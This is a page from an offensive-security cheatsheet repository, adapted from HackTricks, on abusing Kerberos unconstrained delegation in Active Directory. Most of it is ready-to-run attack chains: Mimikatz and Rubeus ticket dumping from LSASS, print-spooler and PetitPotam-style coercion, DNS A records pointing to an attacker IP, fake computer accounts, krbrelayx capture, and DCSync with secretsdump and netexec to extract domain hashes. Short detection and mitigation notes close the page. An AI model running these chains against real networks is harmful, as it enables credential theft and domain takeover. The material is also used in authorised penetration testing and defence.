daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

unconstrained-delegation.md (13226B)


      1 ---
      2 title: "Unconstrained Delegation"
      3 section: "Windows"
      4 sectionSlug: "windows-hardening"
      5 sourcePath: "src/windows-hardening/active-directory-methodology/unconstrained-delegation.md"
      6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/windows-hardening/active-directory-methodology/unconstrained-delegation.md"
      7 sha: "188de82beb54e70956b2952367a0af91d26758b8"
      8 isIndex: false
      9 modified: true
     10 license: "CC-BY-NC-4.0"
     11 ---
     12 
     13 # Unconstrained Delegation
     14 
     15 ## Unconstrained delegation
     16 
     17 This a feature that a Domain Administrator can set to any **Computer** inside the domain. Then, anytime a **user logins** onto the Computer, a **copy of the TGT** of that user is going to be **sent inside the TGS** provided by the DC **and saved in memory in LSASS**. So, if you have Administrator privileges on the machine, you will be able to **dump the tickets and impersonate the users** on any machine.
     18 
     19 So if a domain admin logins inside a Computer with "Unconstrained Delegation" feature activated, and you have local admin privileges inside that machine, you will be able to dump the ticket and impersonate the Domain Admin anywhere (domain privesc).
     20 
     21 You can **find Computer objects with this attribute** checking if the [userAccountControl](<https://msdn.microsoft.com/en-us/library/ms680832(v=vs.85).aspx>) attribute contains [ADS_UF_TRUSTED_FOR_DELEGATION](<https://msdn.microsoft.com/en-us/library/aa772300(v=vs.85).aspx>). You can do this with an LDAP filter of ‘(userAccountControl:1.2.840.113556.1.4.803:=524288)’, which is what powerview does:
     22 
     23 ```bash
     24 # List unconstrained computers
     25 ## Powerview
     26 ## A DCs always appear and might be useful to attack a DC from another compromised DC from a different domain (coercing the other DC to authenticate to it)
     27 Get-DomainComputer –Unconstrained –Properties name
     28 Get-DomainUser -LdapFilter '(userAccountControl:1.2.840.113556.1.4.803:=524288)'
     29 
     30 ## ADSearch
     31 ADSearch.exe --search "(&(objectCategory=computer)(userAccountControl:1.2.840.113556.1.4.803:=524288))" --attributes samaccountname,dnshostname,operatingsystem
     32 
     33 # Export tickets with Mimikatz
     34 ## Access LSASS memory
     35 privilege::debug
     36 sekurlsa::tickets /export #Recommended way
     37 kerberos::list /export #Another way
     38 
     39 # Monitor logins and export new tickets
     40 ## Doens't access LSASS memory directly, but uses Windows APIs
     41 Rubeus.exe dump
     42 Rubeus.exe monitor /interval:10 [/filteruser:<username>] #Check every 10s for new TGTs
     43 ```
     44 
     45 Load the ticket of Administrator (or victim user) in memory with **Mimikatz** or **Rubeus for a** [**Pass the Ticket**](/hacktricks/windows-hardening/active-directory-methodology/pass-the-ticket)**.**\
     46 More info: [https://www.harmj0y.net/blog/activedirectory/s4u2pwnage/](https://www.harmj0y.net/blog/activedirectory/s4u2pwnage/)<sup>[[2]](#references)</sup>\
     47 [**More information about Unconstrained delegation in ired.team.**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/domain-compromise-via-unrestricted-kerberos-delegation)<sup>[[2]](#references)[[3]](#references)</sup>
     48 
     49 ### **Force Authentication**
     50 
     51 If an attacker is able to **compromise a computer allowed for "Unconstrained Delegation"**, he could **trick** a **Print server** to **automatically login** against it **saving a TGT** in the memory of the server.\
     52 Then, the attacker could perform a **Pass the Ticket attack to impersonate** the user Print server computer account.
     53 
     54 To make a print server login against any machine you can use [**SpoolSample**](https://github.com/leechristensen/SpoolSample):
     55 
     56 ```bash
     57 .\SpoolSample.exe <printmachine> <unconstrinedmachine>
     58 ```
     59 
     60 If the TGT if from a domain controller, you could perform a [**DCSync attack**](acl-persistence-abuse/index.html#dcsync) and obtain all the hashes from the DC.\
     61 [**More info about this attack in ired.team.**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/domain-compromise-via-dc-print-server-and-kerberos-delegation)<sup>[[10]](#references)</sup>
     62 
     63 Find here other ways to **force an authentication:**
     64 
     65 
     66 [Printers Spooler Service Abuse](/hacktricks/windows-hardening/active-directory-methodology/printers-spooler-service-abuse)
     67 
     68 Any other coercion primitive that makes the victim authenticate with **Kerberos** to your unconstrained-delegation host works too. In modern environments this often means swapping the classic PrinterBug flow for **PetitPotam**, **DFSCoerce**, **ShadowCoerce**, **MS-EVEN**, or **WebClient/WebDAV**-based coercion depending on which RPC surface is reachable.
     69 
     70 ### Abusing a user/service account with unconstrained delegation
     71 
     72 Unconstrained delegation is **not limited to computer objects**. A **user/service account** can also be configured as `TRUSTED_FOR_DELEGATION`. In that scenario, the practical requirement is that the account must receive Kerberos service tickets for an **SPN it owns**.
     73 
     74 This leads to 2 very common offensive paths:
     75 
     76 1. You compromise the password/hash of the unconstrained-delegation **user account**, then **add an SPN** to that same account.
     77 2. The account already has one or more SPNs, but one of them points to a **stale/decommissioned hostname**; recreating the missing **DNS A record** is enough to hijack the authentication flow without modifying the SPN set.<sup>[[8]](#references)</sup>
     78 
     79 Minimal Linux flow:
     80 
     81 ```bash
     82 # 1) Find unconstrained-delegation users and their SPNs
     83 Get-DomainUser -LdapFilter '(userAccountControl:1.2.840.113556.1.4.803:=524288)' -Properties serviceprincipalname | ? {$_.serviceprincipalname}
     84 findDelegation.py -target-domain <DOMAIN_FQDN> <DOMAIN>/<USER>:'<PASS>'
     85 
     86 # 2) If needed, add a listener SPN to the compromised unconstrained user
     87 python3 addspn.py -u '<DOMAIN>\\svc_kud' -p '<PASS>' \
     88   -s 'HOST/kud-listener.<DOMAIN_FQDN>' --target-type samname <DC_IP>
     89 
     90 # 3) Make the hostname resolve to your attacker box
     91 python3 dnstool.py -u '<DOMAIN>\\svc_kud' -p '<PASS>' \
     92   -r 'kud-listener.<DOMAIN_FQDN>' -a add -t A -d <ATTACKER_IP> <DC_IP>
     93 
     94 # 4) Start krbrelayx with the unconstrained user's Kerberos material
     95 #    For user accounts, the salt is usually UPPERCASE_REALM + samAccountName
     96 python3 krbrelayx.py --krbsalt '<DOMAIN_FQDN_UPPERCASE>svc_kud' --krbpass '<PASS>' -dc-ip <DC_IP>
     97 
     98 # 5) Coerce the DC/target server to authenticate to the SPN you own
     99 python3 printerbug.py '<DOMAIN>/svc_kud:<PASS>'@<DC_FQDN> kud-listener.<DOMAIN_FQDN>
    100 # Or swap the coercion primitive for PetitPotam / DFSCoerce / Coercer if needed
    101 
    102 # 6) Reuse the captured ccache for DCSync or lateral movement
    103 KRB5CCNAME=DC1\\$@<DOMAIN_FQDN>_krbtgt@<DOMAIN_FQDN>.ccache \
    104   secretsdump.py -k -no-pass -just-dc <DOMAIN_FQDN>/ -dc-ip <DC_IP>
    105 ```
    106 
    107 Notes:
    108 
    109 - This is especially useful when the unconstrained principal is a **service account** and you only have its credentials, not code execution on a joined host.
    110 - If the target user already has a **stale SPN**, recreating the corresponding **DNS record** may be less noisy than writing a new SPN into AD.
    111 - Recent Linux-centric tradecraft uses `addspn.py`, `dnstool.py`, `krbrelayx.py`, and one coercion primitive; you do not need to touch a Windows host to complete the chain.
    112 
    113 ### Abusing Unconstrained Delegation with an attacker-created computer
    114 
    115 Modern domains often have `MachineAccountQuota > 0` (default 10), allowing any authenticated principal to create up to N computer objects. If you also hold the `SeEnableDelegationPrivilege` token privilege (or equivalent rights), you can set the newly created computer to be trusted for unconstrained delegation and harvest inbound TGTs from privileged systems.<sup>[[1]](#references)</sup>
    116 
    117 High-level flow:
    118 
    119 1) Create a computer you control
    120 
    121 ```bash
    122 # Impacket addcomputer.py (any authenticated user if MachineAccountQuota > 0)
    123 addcomputer.py -computer-name <FAKEHOST> -computer-pass '<Strong.Passw0rd>' -dc-ip <DC_IP> <DOMAIN>/<USER>:'<PASS>'
    124 ```
    125 
    126 2) Make the fake hostname resolvable inside the domain
    127 
    128 ```bash
    129 # krbrelayx dnstool.py - add an A record for the host FQDN to point to your listener IP
    130 python3 dnstool.py -u '<DOMAIN>\\<FAKEHOST>$' -p '<Strong.Passw0rd>' \
    131   --action add --record <FAKEHOST>.<DOMAIN_FQDN> --type A --data <ATTACKER_IP> \
    132   -dns-ip <DC_IP> <DC_FQDN>
    133 ```
    134 
    135 3) Enable Unconstrained Delegation on the attacker-controlled computer
    136 
    137 ```bash
    138 # Requires SeEnableDelegationPrivilege (commonly held by domain admins or delegated admins)
    139 # BloodyAD example
    140 bloodyAD -d <DOMAIN_FQDN> -u <USER> -p '<PASS>' --host <DC_FQDN> add uac '<FAKEHOST>$' -f TRUSTED_FOR_DELEGATION
    141 ```
    142 
    143 Why this works: with unconstrained delegation, the LSA on a delegation-enabled computer caches inbound TGTs. If you trick a DC or privileged server to authenticate to your fake host, its machine TGT will be stored and can be exported.
    144 
    145 4) Start krbrelayx in export mode and prepare the Kerberos material
    146 
    147 ```bash
    148 # Older labs often use RC4/NT hashes, but modern domains frequently negotiate AES for machine accounts.
    149 # Prefer supplying the AES key directly, or derive it from the known password+salt if needed.
    150 python3 krbrelayx.py --aesKey <AES256_KEY> -dc-ip <DC_IP>
    151 
    152 # Alternative if you know the password and correct Kerberos salt:
    153 python3 krbrelayx.py --krbpass '<Strong.Passw0rd>' --krbsalt '<CASE_SENSITIVE_SALT>' -dc-ip <DC_IP>
    154 ```
    155 
    156 5) Coerce authentication from the DC/servers to your fake host
    157 
    158 ```bash
    159 # netexec (CME fork) coerce_plus module supports multiple coercion vectors
    160 # Common options: METHOD=PrinterBug|PetitPotam|DFSCoerce|MSEven
    161 netexec smb <DC_FQDN> -u '<FAKEHOST>$' -p '<Strong.Passw0rd>' -M coerce_plus -o LISTENER=<FAKEHOST>.<DOMAIN_FQDN> METHOD=PrinterBug
    162 ```
    163 
    164 krbrelayx will save ccache files when a machine authenticates, for example:
    165 
    166 ```text
    167 Got ticket for DC1$@DOMAIN.TLD [krbtgt@DOMAIN.TLD]
    168 Saving ticket in DC1$@DOMAIN.TLD_krbtgt@DOMAIN.TLD.ccache
    169 ```
    170 
    171 6) Use the captured DC machine TGT to perform DCSync
    172 
    173 ```bash
    174 # Create a krb5.conf for the realm (netexec helper)
    175 netexec smb <DC_FQDN> --generate-krb5-file krb5.conf
    176 sudo tee /etc/krb5.conf < krb5.conf
    177 
    178 # Use the saved ccache to DCSync (netexec helper)
    179 KRB5CCNAME=DC1$@DOMAIN.TLD_krbtgt@DOMAIN.TLD.ccache \
    180   netexec smb <DC_FQDN> --use-kcache --ntds
    181 
    182 # Alternatively with Impacket (Kerberos from ccache)
    183 KRB5CCNAME=DC1$@DOMAIN.TLD_krbtgt@DOMAIN.TLD.ccache \
    184   secretsdump.py -just-dc -k -no-pass <DOMAIN>/ -dc-ip <DC_IP>
    185 ```
    186 
    187 Notes and requirements:
    188 
    189 - `MachineAccountQuota > 0` enables unprivileged computer creation; otherwise you need explicit rights.
    190 - Setting `TRUSTED_FOR_DELEGATION` on a computer requires `SeEnableDelegationPrivilege` (or domain admin).
    191 - Ensure name resolution to your fake host (DNS A record) so the DC can reach it by FQDN.
    192 - Coercion requires a viable vector (PrinterBug/MS-RPRN, EFSRPC/PetitPotam, DFSCoerce, MS-EVEN, etc.). Disable these on DCs if possible.
    193 - If the victim account is marked as **"Account is sensitive and cannot be delegated"** or is a member of **Protected Users**, the forwarded TGT will not be included in the service ticket, so this chain won't yield a reusable TGT.<sup>[[9]](#references)</sup>
    194 - If **Credential Guard** is enabled on the authenticating client/server, Windows blocks **Kerberos unconstrained delegation**, which can make otherwise valid coercion paths fail from an operator perspective.
    195 
    196 Detection and hardening ideas:
    197 
    198 - Alert on Event ID 4741 (computer account created) and 4742/4738 (computer/user account changed) when UAC `TRUSTED_FOR_DELEGATION` is set.
    199 - Monitor for unusual DNS A-record additions in the domain zone.
    200 - Watch for spikes in 4768/4769 from unexpected hosts and DC-authentications to non-DC hosts.
    201 - Restrict `SeEnableDelegationPrivilege` to a minimal set, set `MachineAccountQuota=0` where feasible, and disable Print Spooler on DCs. Enforce LDAP signing and channel binding.
    202 
    203 ### Mitigation
    204 
    205 - Limit DA/Admin logins to specific services
    206 - Set "Account is sensitive and cannot be delegated" for privileged accounts.
    207 
    208 ## References
    209 
    210 - [1] [HTB: Delegate — SYSVOL creds → Targeted Kerberoast → Unconstrained Delegation → DCSync to DA](https://0xdf.gitlab.io/2025/09/12/htb-delegate.html)
    211 - [2] [harmj0y – S4U2Pwnage](https://www.harmj0y.net/blog/activedirectory/s4u2pwnage/)
    212 - [3] [ired.team – Domain compromise via unrestricted delegation](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/domain-compromise-via-unrestricted-kerberos-delegation)
    213 - [4] [krbrelayx](https://github.com/dirkjanm/krbrelayx)
    214 - [5] [Impacket addcomputer.py](https://github.com/fortra/impacket)
    215 - [6] [BloodyAD](https://github.com/CravateRouge/bloodyAD)
    216 - [7] [netexec (CME fork)](https://github.com/Pennyw0rth/NetExec)
    217 - [8] [Praetorian – Unconstrained Delegation in Active Directory](https://www.praetorian.com/blog/unconstrained-delegation-active-directory/)
    218 - [9] [Microsoft Learn – Protected Users Security Group](https://learn.microsoft.com/en-us/windows-server/security/credentials-protection-and-management/protected-users-security-group)
    219 - [10] [ired.team – Domain compromise via DC print server and Kerberos delegation](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/domain-compromise-via-dc-print-server-and-kerberos-delegation)